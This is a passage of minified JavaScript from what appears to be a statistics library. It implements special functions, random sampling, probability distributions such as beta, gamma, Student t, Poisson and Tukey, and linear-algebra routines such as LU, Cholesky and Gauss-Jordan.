0;for(e>1?(f=n.log(s),c=n.exp(s*(f-1)-g),i=t<.5?t:1-t,o=(2.30753+.27061*(a=n.sqrt(-2*n.log(i))))/(1+a*(.99229+.04481*a))-a,t<.5&&(o=-o),o=n.max(.001,e*n.pow(1-1/(9*e)-o/(3*n.sqrt(e)),3))):o=t<(a=1-e*(.253+.12*e))?n.pow(t/a,1/e):1-n.log(1-(t-a)/(1-a));l<12;l++){if(o<=0)return 0;if((o-=a=(u=(r.lowRegGamma(e,o)-t)/(a=e>1?c*n.exp(-(o-s)+s*(n.log(o)-f)):n.exp(-o+s*n.log(o)-g)))/(1-.5*n.min(1,u*((e-1)/o-1))))<=0&&(o=.5*(o+a)),n.abs(a)<h*o)break}return o},r.erf=function(r){var t,e,o,a,u=[-1.3026537197817094,.6419697923564902,.019476473204185836,-.00956151478680863,-.000946595344482036,.000366839497852761,42523324806907e-18,-20278578112534e-18,-1624290004647e-18,130365583558e-17,1.5626441722e-8,-8.5238095915e-8,6.529054439e-9,5.059343495e-9,-9.91364156e-10,-2.27365122e-10,96467911e-18,2394038e-18,-6886027e-18,894487e-18,313092e-18,-112708e-18,381e-18,7106e-18,-1523e-18,-94e-18,121e-18,-28e-18],i=u.length-1,f=!1,c=0,l=0;for(r<0&&(r=-r,f=!0),e=4*(t=2/(2+r))-2;i>0;i--)o=c,c=e*c-l+u[i],l=o;return a=t*n.exp(-r*r+.5*(u[0]+e*c)-l),f?a-1:1-a},r.erfc=function(n){return 1-r.erf(n)},r.erfcinv=function(t){var e,o,a,u,i=0;if(t>=2)return-100;if(t<=0)return 100;for(u=t<1?t:2-t,e=-.70711*((2.30753+.27061*(a=n.sqrt(-2*n.log(u/2))))/(1+a*(.99229+.04481*a))-a);i<2;i++)e+=(o=r.erfc(e)-u)/(1.1283791670955126*n.exp(-e*e)-e*o);return t<1?e:-e},r.ibetainv=function(t,e,o){var a,u,i,f,c,l,s,h,g,v,p=1e-8,m=e-1,d=o-1,M=0;if(t<=0)return 0;if(t>=1)return 1;for(e>=1&&o>=1?(i=t<.5?t:1-t,l=(2.30753+.27061*(f=n.sqrt(-2*n.log(i))))/(1+f*(.99229+.04481*f))-f,t<.5&&(l=-l),s=(l*l-3)/6,h=2/(1/(2*e-1)+1/(2*o-1)),g=l*n.sqrt(s+h)/h-(1/(2*o-1)-1/(2*e-1))*(s+5/6-2/(3*h)),l=e/(e+o*n.exp(2*g))):(a=n.log(e/(e+o)),u=n.log(o/(e+o)),l=t<(f=n.exp(e*a)/e)/(g=f+(c=n.exp(o*u)/o))?n.pow(e*g*t,1/e):1-n.pow(o*g*(1-t),1/o)),v=-r.gammaln(e)-r.gammaln(o)+r.gammaln(e+o);M<10;M++){if(0===l||1===l)return l;if((l-=f=(c=(r.ibeta(l,e,o)-t)/(f=n.exp(m*n.log(l)+d*n.log(1-l)+v)))/(1-.5*n.min(1,c*(m/l-d/(1-l)))))<=0&&(l=.5*(l+f)),l>=1&&(l=.5*(l+f+1)),n.abs(f)<p*l&&M>0)break}return l},r.ibeta=function(t,e,o){var a=0===t||1===t?0:n.exp(r.gammaln(e+o)-r.gammaln(e)-r.gammaln(o)+e*n.log(t)+o*n.log(1-t));return!(t<0||t>1)&&(t<(e+1)/(e+o+2)?a*r.betacf(t,e,o)/e:1-a*r.betacf(1-t,o,e)/o)},r.randn=function(t,e){var o,a,u,i,f;if(e||(e=t),t)return r.create(t,e,(function(){return r.randn()}));do{o=r._random_fn(),a=1.7156*(r._random_fn()-.5),f=(u=o-.449871)*u+(i=n.abs(a)+.386595)*(.196*i-.25472*u)}while(f>.27597&&(f>.27846||a*a>-4*n.log(o)*o*o));return a/o},r.randg=function(t,e,o){var a,u,i,f,c,l,s=t;if(o||(o=e),t||(t=1),e)return(l=r.zeros(e,o)).alter((function(){return r.randg(t)})),l;t<1&&(t+=1),a=t-1/3,u=1/n.sqrt(9*a);do{do{f=1+u*(c=r.randn())}while(f<=0);f*=f*f,i=r._random_fn()}while(i>1-.331*n.pow(c,4)&&n.log(i)>.5*c*c+a*(1-f+n.log(f)));if(t==s)return a*f;do{i=r._random_fn()}while(0===i);return n.pow(i,1/s)*a*f},function(n){for(var t=0;t<n.length;t++)!function(n){r.fn[n]=function(){return r(r.map(this,(function(t){return r[n](t)})))}}(n[t])}("gammaln gammafn factorial factorialln".split(" ")),function(n){for(var t=0;t<n.length;t++)!function(n){r.fn[n]=function(){return r(r[n].apply(null,arguments))}}(n[t])}("randn".split(" "))}(r,Math),function(r,n){function t(r,t,e,o){for(var a,u=0,i=1,f=1,c=1,l=0,s=0;n.abs((f-s)/f)>o;)s=f,i=c+(a=-(t+l)*(t+e+l)*r/(t+2*l)/(t+2*l+1))*i,f=(u=f+a*u)+(a=(l+=1)*(e-l)*r/(t+2*l-1)/(t+2*l))*f,u/=c=i+a*c,i/=c,f/=c,c=1;return f/t}function e(r){return r/n.abs(r)}function o(t,e,o){var a=12,u=6,i=-30,f=-50,c=60,l=8,s=3,h=2,g=3,v=[.9815606342467192,.9041172563704749,.7699026741943047,.5873179542866175,.3678314989981802,.1252334085114689],p=[.04717533638651183,.10693932599531843,.16007832854334622,.20316742672306592,.2334925365383548,.24914704581340277],m=.5*t;if(m>=l)return 1;var d,M=2*r.normal.cdf(m,0,1,1,0)-1;M=M>=n.exp(f/o)?n.pow(M,o):0;for(var y=m,E=(l-m)/(d=t>s?h:g),N=y+E,b=0,I=o-1,w=1;w<=d;w++){for(var S=0,T=.5*(N+y),A=.5*(N-y),x=1;x<=a;x++){var D,C=T+A*(u<x?v[(D=a-x+1)-1]:-v[(D=x)-1]),R=C*C;if(R>c)break;var O=2*r.normal.cdf(C,0,1,1,0)*.5-2*r.normal.cdf(C,t,1,1,0)*.5;O>=n.exp(i/I)&&(S+=O=p[D-1]*n.exp(-.5*R)*n.pow(O,I))}b+=S*=2*A*o/n.sqrt(2*n.PI),y=N,N+=E}return(M+=b)<=n.exp(i/e)?0:(M=n.pow(M,e))>=1?1:M}function a(r,t,e){var o=.322232421088,a=.099348462606,u=-1,i=.588581570495,f=-.342242088547,c=.531103462366,l=-.204231210125,s=.10353775285,h=-453642210148e-16,g=.0038560700634,v=.8832,p=.2368,m=1.208,d=1.4142,M=120,y=.5-.5*r,E=n.sqrt(n.log(1/(y*y))),N=E+((((E*h+l)*E+f)*E+u)*E+o)/((((E*g+s)*E+c)*E+i)*E+a);e<M&&(N+=(N*N*N+N)/e/4);var b=v-p*N;return e<M&&(b+=-1.214/e+m*N/e),N*(b*n.log(t-1)+d)}!function(n){for(var t=0;t<n.length;t++)!function(n){r[n]=function r(n,t,e){return this instanceof r?(this._a=n,this._b=t,this._c=e,this):new r(n,t,e)},r.fn[n]=function(t,e,o){var a=r[n](t,e,o);return a.data=this,a},r[n].prototype.sample=function(t){var e=this._a,o=this._b,a=this._c;return t?r.alter(t,(function(){return r[n].sample(e,o,a)})):r[n].sample(e,o,a)},function(t){for(var e=0;e<t.length;e++)!function(t){r[n].prototype[t]=function(e){var o=this._a,a=this._b,u=this._c;return e||0===e||(e=this.data),"number"!=typeof e?r.fn.map.call(e,(function(e){return r[n][t](e,o,a,u)})):r[n][t](e,o,a,u)}}(t[e])}("pdf cdf inv".split(" ")),function(t){for(var e=0;e<t.length;e++)!function(t){r[n].prototype[t]=function(){return r[n][t](this._a,this._b,this._c)}}(t[e])}("mean median mode variance".split(" "))}(n[t])}("beta centralF cauchy chisquare exponential gamma invgamma kumaraswamy laplace lognormal noncentralt normal pareto studentt weibull uniform binomial negbin hypgeom poisson triangular tukey arcsine".split(" ")),r.extend(r.beta,{pdf:function(t,e,o){return t>1||t<0?0:1==e&&1==o?1:e<512&&o<512?n.pow(t,e-1)*n.pow(1-t,o-1)/r.betafn(e,o):n.exp((e-1)*n.log(t)+(o-1)*n.log(1-t)-r.betaln(e,o))},cdf:function(n,t,e){return n>1||n<0?1*(n>1):r.ibeta(n,t,e)},inv:function(n,t,e){return r.ibetainv(n,t,e)},mean:function(r,n){return r/(r+n)},median:function(n,t){return r.ibetainv(.5,n,t)},mode:function(r,n){return(r-1)/(r+n-2)},sample:function(n,t){var e=r.randg(n);return e/(e+r.randg(t))},variance:function(r,t){return r*t/(n.pow(r+t,2)*(r+t+1))}}),r.extend(r.centralF,{pdf:function(t,e,o){var a;return t<0?0:e<=2?0===t&&e<2?1/0:0===t&&2===e?1:1/r.betafn(e/2,o/2)*n.pow(e/o,e/2)*n.pow(t,e/2-1)*n.pow(1+e/o*t,-(e+o)/2):(a=e*t/(o+t*e),e*(o/(o+t*e))/2*r.binomial.pdf((e-2)/2,(e+o-2)/2,a))},cdf:function(n,t,e){return n<0?0:r.ibeta(t*n/(t*n+e),t/2,e/2)},inv:function(n,t,e){return e/(t*(1/r.ibetainv(n,t/2,e/2)-1))},mean:function(r,n){return n>2?n/(n-2):void 0},mode:function(r,n){return r>2?n*(r-2)/(r*(n+2)):void 0},sample:function(n,t){return 2*r.randg(n/2)/n/(2*r.randg(t/2)/t)},variance:function(r,n){if(!(n<=4))return 2*n*n*(r+n-2)/(r*(n-2)*(n-2)*(n-4))}}),r.extend(r.cauchy,{pdf:function(r,t,e){return e<0?0:e/(n.pow(r-t,2)+n.pow(e,2))/n.PI},cdf:function(r,t,e){return n.atan((r-t)/e)/n.PI+.5},inv:function(r,t,e){return t+e*n.tan(n.PI*(r-.5))},median:function(r){return r},mode:function(r){return r},sample:function(t,e){return r.randn()*n.sqrt(1/(2*r.randg(.5)))*e+t}}),r.extend(r.chisquare,{pdf:function(t,e){return t<0?0:0===t&&2===e?.5:n.exp((e/2-1)*n.log(t)-t/2-e/2*n.log(2)-r.gammaln(e/2))},cdf:function(n,t){return n<0?0:r.lowRegGamma(t/2,n/2)},inv:function(n,t){return 2*r.gammapinv(n,.5*t)},mean:function(r){return r},median:function(r){return r*n.pow(1-2/(9*r),3)},mode:function(r){return r-2>0?r-2:0},sample:function(n){return 2*r.randg(n/2)},variance:function(r){return 2*r}}),r.extend(r.exponential,{pdf:function(r,t){return r<0?0:t*n.exp(-t*r)},cdf:function(r,t){return r<0?0:1-n.exp(-t*r)},inv:function(r,t){return-n.log(1-r)/t},mean:function(r){return 1/r},median:function(r){return 1/r*n.log(2)},mode:function(){return 0},sample:function(t){return-1/t*n.log(r._random_fn())},variance:function(r){return n.pow(r,-2)}}),r.extend(r.gamma,{pdf:function(t,e,o){return t<0?0:0===t&&1===e?1/o:n.exp((e-1)*n.log(t)-t/o-r.gammaln(e)-e*n.log(o))},cdf:function(n,t,e){return n<0?0:r.lowRegGamma(t,n/e)},inv:function(n,t,e){return r.gammapinv(n,t)*e},mean:function(r,n){return r*n},mode:function(r,n){if(r>1)return(r-1)*n},sample:function(n,t){return r.randg(n)*t},variance:function(r,n){return r*n*n}}),r.extend(r.invgamma,{pdf:function(t,e,o){return t<=0?0:n.exp(-(e+1)*n.log(t)-o/t-r.gammaln(e)+e*n.log(o))},cdf:function(n,t,e){return n<=0?0:1-r.lowRegGamma(t,e/n)},inv:function(n,t,e){return e/r.gammapinv(1-n,t)},mean:function(r,n){return r>1?n/(r-1):void 0},mode:function(r,n){return n/(r+1)},sample:function(n,t){return t/r.randg(n)},variance:function(r,n){if(!(r<=2))return n*n/((r-1)*(r-1)*(r-2))}}),r.extend(r.kumaraswamy,{pdf:function(r,t,e){return 0===r&&1===t?e:1===r&&1===e?t:n.exp(n.log(t)+n.log(e)+(t-1)*n.log(r)+(e-1)*n.log(1-n.pow(r,t)))},cdf:function(r,t,e){return r<0?0:r>1?1:1-n.pow(1-n.pow(r,t),e)},inv:function(r,t,e){return n.pow(1-n.pow(1-r,1/e),1/t)},mean:function(n,t){return t*r.gammafn(1+1/n)*r.gammafn(t)/r.gammafn(1+1/n+t)},median:function(r,t){return n.pow(1-n.pow(2,-1/t),1/r)},mode:function(r,t){if(r>=1&&t>=1&&1!==r&&1!==t)return n.pow((r-1)/(r*t-1),1/r)},variance:function(){throw new Error("variance not yet implemented")}}),r.extend(r.lognormal,{pdf:function(r,t,e){return r<=0?0:n.exp(-n.log(r)-.5*n.log(2*n.PI)-n.log(e)-n.pow(n.log(r)-t,2)/(2*e*e))},cdf:function(t,e,o){return t<0?0:.5+.5*r.erf((n.log(t)-e)/n.sqrt(2*o*o))},inv:function(t,e,o){return n.exp(-1.4142135623730951*o*r.erfcinv(2*t)+e)},mean:function(r,t){return n.exp(r+t*t/2)},median:function(r){return n.exp(r)},mode:function(r,t){return n.exp(r-t*t)},sample:function(t,e){return n.exp(r.randn()*e+t)},variance:function(r,t){return(n.exp(t*t)-1)*n.exp(2*r+t*t)}}),r.extend(r.noncentralt,{pdf:function(t,e,o){var a=1e-14;return n.abs(o)<a?r.studentt.pdf(t,e):n.abs(t)<a?n.exp(r.gammaln((e+1)/2)-o*o/2-.5*n.log(n.PI*e)-r.gammaln(e/2)):e/t*(r.noncentralt.cdf(t*n.sqrt(1+2/e),e+2,o)-r.noncentralt.cdf(t,e,o))},cdf:function(t,e,o){var a=1e-14,u=200;if(n.abs(o)<a)return r.studentt.cdf(t,e);var i=!1;t<0&&(i=!0,o=-o);for(var f=r.normal.cdf(-o,0,1),c=a+1,l=c,s=t*t/(t*t+e),h=0,g=n.exp(-o*o/2),v=n.exp(-o*o/2-.5*n.log(2)-r.gammaln(1.5))*o;h<u||l>a||c>a;)l=c,h>0&&(g*=o*o/(2*h),v*=o*o/(2*(h+.5))),f+=.5*(c=g*r.beta.cdf(s,h+.5,e/2)+v*r.beta.cdf(s,h+1,e/2)),h++;return i?1-f:f}}),r.extend(r.normal,{pdf:function(r,t,e){return n.exp(-.5*n.log(2*n.PI)-n.log(e)-n.pow(r-t,2)/(2*e*e))},cdf:function(t,e,o){return.5*(1+r.erf((t-e)/n.sqrt(2*o*o)))},inv:function(n,t,e){return-1.4142135623730951*e*r.erfcinv(2*n)+t},mean:function(r){return r},median:function(r){return r},mode:function(r){return r},sample:function(n,t){return r.randn()*t+n},variance:function(r,n){return n*n}}),r.extend(r.pareto,{pdf:function(r,t,e){return r<t?0:e*n.pow(t,e)/n.pow(r,e+1)},cdf:function(r,t,e){return r<t?0:1-n.pow(t/r,e)},inv:function(r,t,e){return t/n.pow(1-r,1/e)},mean:function(r,t){if(!(t<=1))return t*n.pow(r,t)/(t-1)},median:function(r,t){return r*(t*n.SQRT2)},mode:function(r){return r},variance:function(r,t){if(!(t<=2))return r*r*t/(n.pow(t-1,2)*(t-2))}}),r.extend(r.studentt,{pdf:function(t,e){return e=e>1e100?1e100:e,1/(n.sqrt(e)*r.betafn(.5,e/2))*n.pow(1+t*t/e,-(e+1)/2)},cdf:function(t,e){var o=e/2;return r.ibeta((t+n.sqrt(t*t+e))/(2*n.sqrt(t*t+e)),o,o)},inv:function(t,e){var o=r.ibetainv(2*n.min(t,1-t),.5*e,.5);return o=n.sqrt(e*(1-o)/o),t>.5?o:-o},mean:function(r){return r>1?0:void 0},median:function(){return 0},mode:function(){return 0},sample:function(t){return r.randn()*n.sqrt(t/(2*r.randg(t/2)))},variance:function(r){return r>2?r/(r-2):r>1?1/0:void 0}}),r.extend(r.weibull,{pdf:function(r,t,e){return r<0||t<0||e<0?0:e/t*n.pow(r/t,e-1)*n.exp(-n.pow(r/t,e))},cdf:function(r,t,e){return r<0?0:1-n.exp(-n.pow(r/t,e))},inv:function(r,t,e){return t*n.pow(-n.log(1-r),1/e)},mean:function(n,t){return n*r.gammafn(1+1/t)},median:function(r,t){return r*n.pow(n.log(2),1/t)},mode:function(r,t){return t<=1?0:r*n.pow((t-1)/t,1/t)},sample:function(t,e){return t*n.pow(-n.log(r._random_fn()),1/e)},variance:function(t,e){return t*t*r.gammafn(1+2/e)-n.pow(r.weibull.mean(t,e),2)}}),r.extend(r.uniform,{pdf:function(r,n,t){return r<n||r>t?0:1/(t-n)},cdf:function(r,n,t){return r<n?0:r<t?(r-n)/(t-n):1},inv:function(r,n,t){return n+r*(t-n)},mean:function(r,n){return.5*(r+n)},median:function(n,t){return r.mean(n,t)},mode:function(){throw new Error("mode is not yet implemented")},sample:function(n,t){return n/2+t/2+(t/2-n/2)*(2*r._random_fn()-1)},variance:function(r,t){return n.pow(t-r,2)/12}}),r.extend(r.binomial,{pdf:function(t,e,o){return 0===o||1===o?e*o===t?1:0:r.combination(e,t)*n.pow(o,t)*n.pow(1-o,e-t)},cdf:function(e,o,a){var u,i=1e-10;if(e<0)return 0;if(e>=o)return 1;if(a<0||a>1||o<=0)return NaN;var f=a,c=(e=n.floor(e))+1,l=o-e,s=c+l,h=n.exp(r.gammaln(s)-r.gammaln(l)-r.gammaln(c)+c*n.log(f)+l*n.log(1-f));return u=f<(c+1)/(s+2)?h*t(f,c,l,i):1-h*t(1-f,l,c,i),n.round(1/i*(1-u))/(1/i)}}),r.extend(r.negbin,{pdf:function(t,e,o){return t===t>>>0&&(t<0?0:r.combination(t+e-1,e-1)*n.pow(1-o,t)*n.pow(o,e))},cdf:function(n,t,e){var o=0,a=0;if(n<0)return 0;for(;a<=n;a++)o+=r.negbin.pdf(a,t,e);return o}}),r.extend(r.hypgeom,{pdf:function(t,e,o,a){if(t!=t|0)return!1;if(t<0||t<o-(e-a))return 0;if(t>a||t>o)return 0;if(2*o>e)return 2*a>e?r.hypgeom.pdf(e-o-a+t,e,e-o,e-a):r.hypgeom.pdf(a-t,e,e-o,a);if(2*a>e)return r.hypgeom.pdf(o-t,e,o,e-a);if(o<a)return r.hypgeom.pdf(t,e,a,o);for(var u=1,i=0,f=0;f<t;f++){for(;u>1&&i<a;)u*=1-o/(e-i),i++;u*=(a-f)*(o-f)/((f+1)*(e-o-a+f+1))}for(;i<a;i++)u*=1-o/(e-i);return n.min(1,n.max(0,u))},cdf:function(t,e,o,a){if(t<0||t<o-(e-a))return 0;if(t>=a||t>=o)return 1;if(2*o>e)return 2*a>e?r.hypgeom.cdf(e-o-a+t,e,e-o,e-a):1-r.hypgeom.cdf(a-t-1,e,e-o,a);if(2*a>e)return 1-r.hypgeom.cdf(o-t-1,e,o,e-a);if(o<a)return r.hypgeom.cdf(t,e,a,o);for(var u=1,i=1,f=0,c=0;c<t;c++){for(;u>1&&f<a;){var l=1-o/(e-f);i*=l,u*=l,f++}u+=i*=(a-c)*(o-c)/((c+1)*(e-o-a+c+1))}for(;f<a;f++)u*=1-o/(e-f);return n.min(1,n.max(0,u))}}),r.extend(r.poisson,{pdf:function(t,e){return e<0||t%1!=0||t<0?0:n.pow(e,t)*n.exp(-e)/r.factorial(t)},cdf:function(n,t){var e=[],o=0;if(n<0)return 0;for(;o<=n;o++)e.push(r.poisson.pdf(o,t));return r.sum(e)},mean:function(r){return r},variance:function(r){return r},sampleSmall:function(t){var e=1,o=0,a=n.exp(-t);do{o++,e*=r._random_fn()}while(e>a);return o-1},sampleLarge:function(t){var e,o,a,u,i,f,c,l,s,h,g=t;for(u=n.sqrt(g),i=n.log(g),f=.02483*(c=.931+2.53*u)-.059,l=1.1239+1.1328/(c-3.4),s=.9277-3.6224/(c-2);;){if(o=n.random()-.5,a=n.random(),h=.5-n.abs(o),e=n.floor((2*f/h+c)*o+g+.43),h>=.07&&a<=s)return e;if(!(e<0||h<.013&&a>h)&&n.log(a)+n.log(l)-n.log(f/(h*h)+c)<=e*i-g-r.loggam(e+1))return e}},sample:function(r){return r<10?this.sampleSmall(r):this.sampleLarge(r)}}),r.extend(r.triangular,{pdf:function(r,n,t,e){return t<=n||e<n||e>t?NaN:r<n||r>t?0:r<e?2*(r-n)/((t-n)*(e-n)):r===e?2/(t-n):2*(t-r)/((t-n)*(t-e))},cdf:function(r,t,e,o){return e<=t||o<t||o>e?NaN:r<=t?0:r>=e?1:r<=o?n.pow(r-t,2)/((e-t)*(o-t)):1-n.pow(e-r,2)/((e-t)*(e-o))},inv:function(r,t,e,o){return e<=t||o<t||o>e?NaN:r<=(o-t)/(e-t)?t+(e-t)*n.sqrt(r*((o-t)/(e-t))):t+(e-t)*(1-n.sqrt((1-r)*(1-(o-t)/(e-t))))},mean:function(r,n,t){return(r+n+t)/3},median:function(r,t,e){return e<=(r+t)/2?t-n.sqrt((t-r)*(t-e))/n.sqrt(2):e>(r+t)/2?r+n.sqrt((t-r)*(e-r))/n.sqrt(2):void 0},mode:function(r,n,t){return t},sample:function(t,e,o){var a=r._random_fn();return a<(o-t)/(e-t)?t+n.sqrt(a*(e-t)*(o-t)):e-n.sqrt((1-a)*(e-t)*(e-o))},variance:function(r,n,t){return(r*r+n*n+t*t-r*n-r*t-n*t)/18}}),r.extend(r.arcsine,{pdf:function(r,t,e){return e<=t?NaN:r<=t||r>=e?0:2/n.PI*n.pow(n.pow(e-t,2)-n.pow(2*r-t-e,2),-.5)},cdf:function(r,t,e){return r<t?0:r<e?2/n.PI*n.asin(n.sqrt((r-t)/(e-t))):1},inv:function(r,t,e){return t+(.5-.5*n.cos(n.PI*r))*(e-t)},mean:function(r,n){return n<=r?NaN:(r+n)/2},median:function(r,n){return n<=r?NaN:(r+n)/2},mode:function(){throw new Error("mode is not yet implemented")},sample:function(t,e){return(t+e)/2+(e-t)/2*n.sin(2*n.PI*r.uniform.sample(0,1))},variance:function(r,t){return t<=r?NaN:n.pow(t-r,2)/8}}),r.extend(r.laplace,{pdf:function(r,t,e){return e<=0?0:n.exp(-n.abs(r-t)/e)/(2*e)},cdf:function(r,t,e){return e<=0?0:r<t?.5*n.exp((r-t)/e):1-.5*n.exp(-(r-t)/e)},mean:function(r){return r},median:function(r){return r},mode:function(r){return r},variance:function(r,n){return 2*n*n},sample:function(t,o){var a=r._random_fn()-.5;return t-o*e(a)*n.log(1-2*n.abs(a))}}),r.extend(r.tukey,{cdf:function(t,e,a){var u=1,i=e,f=16,c=8,l=-30,s=1e-14,h=100,g=800,v=5e3,p=25e3,m=1,d=.5,M=.25,y=.125,E=[.9894009349916499,.9445750230732326,.8656312023878318,.755404408355003,.6178762444026438,.45801677765722737,.2816035507792589,.09501250983763744],N=[.027152459411754096,.062253523938647894,.09515851168249279,.12462897125553388,.14959598881657674,.16915651939500254,.18260341504492358,.1894506104550685];if(t<=0)return 0;if(a<2||u<1||i<2)return NaN;if(!Number.isFinite(t))return 1;if(a>p)return o(t,u,i);var b,I=.5*a,w=I*n.log(a)-a*n.log(2)-r.gammaln(I),S=I-1,T=.25*a;b=a<=h?m:a<=g?d:a<=v?M:y,w+=n.log(b);for(var A=0,x=1;x<=50;x++){for(var D=0,C=(2*x-1)*b,R=1;R<=f;R++){var O,P;c<R?(O=R-c-1,P=w+S*n.log(C+E[O]*b)-(E[O]*b+C)*T):(O=R-1,P=w+S*n.log(C-E[O]*b)+(E[O]*b-C)*T),P>=l&&(D+=o(c<R?t*n.sqrt(.5*(E[O]*b+C)):t*n.sqrt(.5*(-E[O]*b+C)),u,i)*N[O]*n.exp(P))}if(x*b>=1&&D<=s)break;A+=D}if(D>s)throw new Error("tukey.cdf failed to converge");return A>1&&(A=1),A},inv:function(t,e,o){var u=1e-4,i=50;if(o<2||e<2)return NaN;if(t<0||t>1)return NaN;if(0===t)return 0;if(1===t)return 1/0;var f,c=a(t,e,o),l=r.tukey.cdf(c,e,o)-t;f=l>0?n.max(0,c-1):c+1;for(var s,h=r.tukey.cdf(f,e,o)-t,g=1;g<i;g++)if(s=f-h*(f-c)/(h-l),l=h,c=f,s<0&&(s=0,h=-t),h=r.tukey.cdf(s,e,o)-t,f=s,n.abs(f-c)<u)return s;throw new Error("tukey.inv failed to converge")}})}(r,Math),function(r,n){var t=Array.prototype.push,e=r.utils.isArray;function o(n){return e(n)||n instanceof r}r.extend({add:function(n,t){return o(t)?(o(t[0])||(t=[t]),r.map(n,(function(r,n,e){return r+t[n][e]}))):r.map(n,(function(r){return r+t}))},subtract:function(n,t){return o(t)?(o(t[0])||(t=[t]),r.map(n,(function(r,n,e){return r-t[n][e]||0}))):r.map(n,(function(r){return r-t}))},divide:function(n,t){return o(t)?(o(t[0])||(t=[t]),r.multiply(n,r.inv(t))):r.map(n,(function(r){return r/t}))},multiply:function(n,t){var e,a,u,i,f,c,l,s;if(void 0===n.length&&void 0===t.length)return n*t;if(f=n.length,c=n[0].length,l=r.zeros(f,u=o(t)?t[0].length:c),s=0,o(t)){for(;s<u;s++)for(e=0;e<f;e++){for(i=0,a=0;a<c;a++)i+=n[e][a]*t[a][s];l[e][s]=i}return 1===f&&1===s?l[0][0]:l}return r.map(n,(function(r){return r*t}))},outer:function(n,t){return r.multiply(n.map((function(r){return[r]})),[t])},dot:function(n,t){o(n[0])||(n=[n]),o(t[0])||(t=[t]);for(var e,a,u=1===n[0].length&&1!==n.length?r.transpose(n):n,i=1===t[0].length&&1!==t.length?r.transpose(t):t,f=[],c=0,l=u.length,s=u[0].length;c<l;c++){for(f[c]=[],e=0,a=0;a<s;a++)e+=u[c][a]*i[c][a];f[c]=e}return 1===f.length?f[0]:f},pow:function(t,e){return r.map(t,(function(r){return n.pow(r,e)}))},exp:function(t){return r.map(t,(function(r){return n.exp(r)}))},log:function(t){return r.map(t,(function(r){return n.log(r)}))},abs:function(t){return r.map(t,(function(r){return n.abs(r)}))},norm:function(r,t){var e=0,a=0;for(isNaN(t)&&(t=2),o(r[0])&&(r=r[0]);a<r.length;a++)e+=n.pow(n.abs(r[a]),t);return n.pow(e,1/t)},angle:function(t,e){return n.acos(r.dot(t,e)/(r.norm(t)*r.norm(e)))},aug:function(r,n){var e,o=[];for(e=0;e<r.length;e++)o.push(r[e].slice());for(e=0;e<o.length;e++)t.apply(o[e],n[e]);return o},inv:function(n){for(var t,e=n.length,o=n[0].length,a=r.identity(e,o),u=r.gauss_jordan(n,a),i=[],f=0;f<e;f++)for(i[f]=[],t=o;t<u[0].length;t++)i[f][t-o]=u[f][t];return i},det:function r(n){if(2===n.length)return n[0][0]*n[1][1]-n[0][1]*n[1][0];for(var t=0,e=0;e<n.length;e++){for(var o=[],a=1;a<n.length;a++){o[a-1]=[];for(var u=0;u<n.length;u++)u<e?o[a-1][u]=n[a][u]:u>e&&(o[a-1][u-1]=n[a][u])}var i=e%2?-1:1;t+=r(o)*n[0][e]*i}return t},gauss_elimination:function(t,e){var o,a,u,i,f=0,c=0,l=t.length,s=t[0].length,h=1,g=0,v=[];for(o=(t=r.aug(t,e))[0].length,f=0;f<l;f++){for(a=t[f][f],c=f,i=f+1;i<s;i++)a<n.abs(t[i][f])&&(a=t[i][f],c=i);if(c!=f)for(i=0;i<o;i++)u=t[f][i],t[f][i]=t[c][i],t[c][i]=u;for(c=f+1;c<l;c++)for(h=t[c][f]/t[f][f],i=f;i<o;i++)t[c][i]=t[c][i]-h*t[f][i]}for(f=l-1;f>=0;f--){for(g=0,c=f+1;c<=l-1;c++)g+=v[c]*t[f][c];v[f]=(t[f][o-1]-g)/t[f][f]}return v},gauss_jordan:function(t,e){var o,a,u,i=r.aug(t,e),f=i.length,c=i[0].length,l=0;for(a=0;a<f;a++){var s=a;for(u=a+1;u<f;u++)n.abs(i[u][a])>n.abs(i[s][a])&&(s=u);var h=i[a];for(i[a]=i[s],i[s]=h,u=a+1;u<f;u++)for(l=i[u][a]/i[a][a],o=a;o<c;o++)i[u][o]-=i[a][o]*l}for(a=f-1;a>=0;a--){for(l=i[a][a],u=0;u<a;u++)for(o=c-1;o>a-1;o--)i[u][o]-=i[a][o]*i[u][a]/l;for(i[a][a]/=l,o=f;o<c;o++)i[a][o]/=l}return i},triaUpSolve:function(n,t){var e,o=n[0].length,a=r.zeros(1,o)[0],u=!1;return null!=t[0].length&&(t=t.map((function(r){return r[0]})),u=!0),r.arange(o-1,-1,-1).forEach((function(u){e=r.arange(u+1,o).map((function(r){return a[r]*n[u][r]})),a[u]=(t[u]-r.sum(e))/n[u][u]})),u?a.map((function(r){return[r]})):a},triaLowSolve:function(n,t){var e,o=n[0].length,a=r.zeros(1,o)[0],u=!1;return null!=t[0].length&&(t=t.map((function(r){return r[0]})),u=!0),r.arange(o).forEach((function(o){e=r.arange(o).map((function(r){return n[o][r]*a[r]})),a[o]=(t[o]-r.sum(e))/n[o][o]})),u?a.map((function(r){return[r]})):a},lu:function(n){var t,e=n.length,o=r.identity(e),a=r.zeros(n.length,n[0].length);return r.arange(e).forEach((function(r){a[0][r]=n[0][r]})),r.arange(1,e).forEach((function(u){r.arange(u).forEach((function(e){t=r.arange(e).map((function(r){return o[u][r]*a[r][e]})),o[u][e]=(n[u][e]-r.sum(t))/a[e][e]})),r.arange(u,e).forEach((function(e){t=r.arange(u).map((function(r){return o[u][r]*a[r][e]})),a[u][e]=n[t.length][e]-r.sum(t)}))})),[o,a]},cholesky:function(t){var e,o=t.length,a=r.zeros(t.length,t[0].length);return r.arange(o).forEach((function(u){e=r.arange(u).map((function(r){return n.pow(a[u][r],2)})),a[u][u]=n.sqrt(t[u][u]-r.sum(e)),r.arange(u+1,o).forEach((function(n){e=r.arange(u).map((function(r){return a[u][r]*a[n][r]})),a[n][u]=(t[u][n]-r.sum(e))/a[u][u]}))})),a},gauss_jacobi:function(t,e,o,a){for(var u,i,f,c,l=0,s=0,h=t.length,g=[],v=[],p=[];l<h;l++)for(g[l]=[],v[l]=[],p[l]=[],s=0;s<h;s++)l>s?(g[l][s]=t[l][s],v[l][s]=p[l][s]=0):l<s?(v[l][s]=t[l][s],g[l][s]=p[l][s]=0):(p[l][s]=t[l][s],g[l][s]=v[l][s]=0);for(f=r.multiply(r.multiply(r.inv(p),r.add(g,v)),-1),i=r.multiply(r.inv(p),e),u=o,c=r.add(r.multiply(f,o),i),l=2;n.abs(r.norm(r.subtract(c,u)))>a;)u=c,c=r.add(r.multiply(f,u),i),l++;return c},gauss_seidel:function(t,e,o,a){for(var 